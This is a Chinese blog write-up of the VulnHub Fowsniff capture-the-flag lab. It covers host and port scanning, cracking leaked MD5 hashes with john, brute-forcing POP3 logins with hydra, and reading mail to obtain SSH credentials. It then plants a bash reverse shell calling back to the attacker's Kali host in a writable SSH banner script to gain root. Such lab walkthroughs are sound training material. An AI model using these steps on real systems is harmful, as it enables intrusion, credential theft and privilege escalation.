目录
写在开头
第一步:主机发现和端口扫描
第二步:Web渗透
第三步:pop3服务器渗透
第四步:获取初始立足点
总结与思考
本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。Fowsniff这个靶机的难度也不高,但涉及到了对pop3邮件服务器的渗透过程,同时对信息搜集进行了考验,需要通过互联网搜索推特账号的信息才能得到下一步的线索。同时还涉及到了hydra密码碰撞、john密码破解、crackmapexec密码碰撞等工具的使用。提权采用了ssh登录时的banner脚本提权,完整的打靶思路详见:
「红队笔记」靶机精讲:Fowsniff - 信息收集能力小测,还有密码破解和碰撞,来,小试牛刀吧!_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
Fowsniff: 1 ~ VulnHub
下载链接见:
https://download.vulnhub.com/fowsniff/Fowsniff_CTF_ova.7z
这个靶机是一台VirtualBox的靶机,理论上也可以用VMware打开,但需要进行网络配置,我试了很多次都失败了,VMware打开会缺少网卡信息。于是我就又下载了个VirtualBox,并下载了一台新的VirtualBox版本的kali,先要在VirtualBox中进行网络的设置,配置NAT网络如下:
然后将VirtualBox的kali和靶机都设置成NAT模式,选择这个我们新建的NatNetwork,这样才能保证kali和靶机处于同一内网,可以nmap主机发现。
靶机启动之后如下:
顺道一提,要是有小伙伴了解如何解决VirtualBox靶机用VMware打开会无法联网的问题,恳请告诉我一下咋整的,我昨天尝试了好多配置都没成功,非常自闭。
常规思路,不细讲了,kali的ip是10.10.10.5,主机发现靶机ip是10.10.10.4
nmap -sn 10.10.10.0/24
以10000的速率进行全端口扫描,如下:
nmap --min-rate 10000 10.10.10.4
发现开放了四个端口,即22,80,110,143,用默认脚本(-sC)进行详细服务版本(-sV)、操作系统 (-O)版本进行TCP(-sT)扫描,结果如下:
nmap -sT -sC -sV -O -p22,80,110,143 10.10.10.4
漏洞脚本扫描没发现什么特有信息,这里就不做截图了:
nmap --script=vuln -p22,80,110,143 10.10.10.4
分析端口扫描的信息,80端口的web端还是我们最感兴趣的点,其次开放了两个邮件服务器,说不定会暴露很多信息。我们还是决定从web端入手。
浏览器访问靶机ip,可以看到如下的站点:
我们大概可以确定这个公司叫做Fowsniff,web界面显示它们的网站目前暂停服务了,主要是因为内部员工的账号和密码被泄露了出去,建议所有内部员工立刻修改账户密码,同时还提到攻击者劫持了推特账号:
The attackers were also able to hijack our official @fowsniffcorp Twitter account. All of our official tweets have been deleted and the attackers may release sensitive information via this medium. We are working to resolve this at soon as possible.
看了一下源代码,也没什么特殊信息,那么我们就启动一个web目录爆破,同时既然这个网页提示内部员工密码泄露,又提到了推特账号@fowsniffcorp Twitter account,我们不妨谷歌一下有没有什么信息:
还真有,第一条就是相关的推特,打开之后可以看到有一条相关链接:https://pastebin.com/NrAqVeeX
点开这个链接理论上应该可以看到一些密码泄露的信息,如下图:
奈何现在404了,咱也不知道咋回事,所以我这一步搜了个题解(如上图),总之就是给了我们一大堆可能的账号和密码,告诉我们这个是md5,可以很容易的破解,同时这是pop3邮件服务器的凭证。那么既然是md5,我们先把这些凭据复制下来vim保存为pop3creds:
mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e
用john破解一下,指定字典为rockyou.txt:
john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt pop3creds
这里插叙一下,john重复破解相同的内容会看不到信息,可以到~/.john/john.pot查看历史破解信息,或者直接删掉john.pot文件,再次破解即可。
插叙结束
我们将这些信息保存为creds:
将用户信息和密码信息分别保存:
cat pop3creds | awk -F ' ' '{print $1}' > pop3passwd
保存账号信息:
cat creds | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' > pop3users
拿到凭据了,问题是应该用哪个凭据登录pop3服务器呢?数量稍微有点多,账号和密码也未必是对应关系。直接用hydra爆破一下就知道了,-L指定用户名文件,-P指定密码文件,最后指定对pop3服务器爆破:
hydra -L pop3users -P pop3passwd 10.10.10.4 pop3
成功爆破出了一个邮件服务器的账号和密码,果然有内部员工不改密码呀!账号seina,密码scoobydoo2,下面我们用nc尝试登录pop3服务器,登录成功:
nc 10.10.10.4 110
user seina
pass scoobydoo2
这里需要简要了解pop3邮件服务器的语法,可以用list列出文件,用retr查看文件信息:
list
retr 1
第一封邮件是群发的信息,发件人是stone,邮件大致内容是攻击者拿到了数据库,得到了我们的密码,建议大家速速改密码,还给了一个SSH临时密码S1ck3nBluff+secureshell 。这应该是一个很关键的ssh登录凭据,那么是哪个账号的呢,我们继续看第二封邮件:retr 2
第二封邮件是来自baksteen的,主要是一些闲聊的内容,还提到说baksteen也受到了Stone的邮件(也就是上面的第一封),还没来得及认真看。而第一份邮件是让大家速速用默认密码ssh登录后重置密码的,而baksteen还没有认真读,说明baksteen的ssh密码很可能还是上面的第一封邮件提到的默认密码S1ck3nBluff+secureshell!因此我们下一步就是尝试用账号baksteen,密码S1ck3nBluff+secureshell登录ssh。
用上文提到的凭据ssh登录成功!
ssh [email protected]
输入密码: S1ck3nBluff+secureshell
首先查看当前目录有什么,发现有个term.txt
这句话我还不太好翻译,用词典翻译一下:
说实话,还是每太看懂,one hit wonder指代了什么。
总之我们下一步就是想办法提权 ,sudo -l试试:
很可惜,没有什么sudo的信息,查看所在组的信息:
我们查找有哪些可写权限的文件吧:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
结果当然一大堆,可以看见第一个我们就很感兴趣cube.sh,竟然还有一个shell脚本:
这个脚本就是打印banner的信息,每当ssh登录的时候就会显示(触发cube.sh的执行),而我们拥有对这个文件的写权限,我们就可以通过在其中添加反弹shell的代码,当登录ssh的时候,触发这个脚本执行,就有可能会反弹更高权限的shell,我们在其中添加反弹shell语句,注意ip写kali的ip地址,我的kali地址为10.10.10.5:
bash -c 'bash -i >& /dev/tcp/10.10.10.5/4444 0>&1'
然后在kali中另起一个终端开启nc监听4444端口:
nc -lvnp 4444
退出baksteen账号,重新登录,即可触发反弹shell,还真是反弹了root的shell:
靶机信息如下:
flag在root目录下:
至此打靶完成,这个提权思路和Narak靶机中的motd利用提权有很强的相似性,都是利用登录ssh时执行的脚本触发了反弹shell,详情见:
红队打靶:Narak打靶思路详解(vulnhub)-CSDN博客
这个靶机还挺有趣的,设计了一定的剧情,通过在推特上寻找信息,并通过邮件提示了我们这家公司被黑之后,要求员工速速修改密码,有的员工可能没及时的修改,这样当我们成功进入pop3邮件服务器后,就拿到了ssh登录凭据。最后想到寻找可写文件进行提权,结合了类似motd的机制,利用登录ssh时执行的脚本触发了反弹shell。总结一下打靶过程:
1.主机发现和端口扫描:发现Web、邮件服务器、ssh。
2.Web渗透:提示公司被黑,推特上有关键信息,通过互联网搜索找到了pop3可能的一些账号和md5密码。
3.pop3邮件服务器登录:破解密码后成功登录pop3邮件服务器,读取邮件发现了一个ssh账号,尝试ssh登录成功。
4.banner脚本提权:一番搜索尝试无果,最终查找可写文件找到了cube.sh,判定为登录时触发执行的脚本,在其中添加反弹shell语句重新登录,成功反弹了root的shell,实现提权。
顺道一提,这个靶机也可以通过内核提权的方式,这里就不介绍了。靶机不难,但是还是有一些知识点的,特别是提权的时候联想到寻找可写文件,结合之前Narak靶机的motd机制,找到了提权的方法。 到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的,有很多新的知识点。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!